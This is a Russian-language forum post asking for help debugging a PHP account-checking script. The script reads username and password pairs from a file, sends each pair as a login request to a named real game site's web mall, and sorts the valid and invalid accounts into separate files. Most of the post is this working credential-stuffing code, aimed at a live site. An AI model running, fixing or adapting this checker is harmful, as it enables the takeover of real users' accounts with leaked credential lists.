Всем привет. У меня проблема с брутом. Вот код: PHP: <?php $handle = fopen("source.txt", "r"); //вместо source.txt вставляем имя файла с аккаунтами while (!feof($handle)) //пока не кончился файл { $buffer = fgets($handle, 1024); // читаем построчно list($username, $password) = explode(';', $buffer); // вместо : вставляем разделитель мыла и пароля в файле с акками $post="username=$username&password=$password"; $ch = curl_init(); /*сформировали строку пост данных состоящую из пар поле=>значение разделенных амперсандом (при необходимости строку надо url-кодировать)*/ curl_setopt($ch, CURLOPT_URL, "http://shaiya2dream.net/webmall_ep7/index.php?validate=login"); //адрес на который шлем запрос (выдираем значение из action нашей формы) curl_setopt($ch, CURLOPT_HEADER, 1); //дальше мы все уже видели curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, 1); //говорим что у нас есть POST данные для сервера curl_setopt($ch, CURLOPT_POSTFIELDS, $post); //указываем на наши POST данные $result = curl_exec($ch); curl_close($ch); if (strstr($result, 'Выход')) //вставляем сюда текст который присутствует на авторизованной странице но отсутствует на главной { $h=fopen("D:\good.txt", "a"); // good.txt - файл с валидными акками fwrite($h, $username.";".$password); fclose($h); } else { $h=fopen("D:\bad.txt", "a"); // bad.txt - файл с невалидными акками fwrite($h, $username.";".$password); fclose($h); } } ?> Работает, но почему то все аккаунты считает неверными, хотя те которые подходят в списке есть. Кто знает в чём проблема помогите пожалуйста.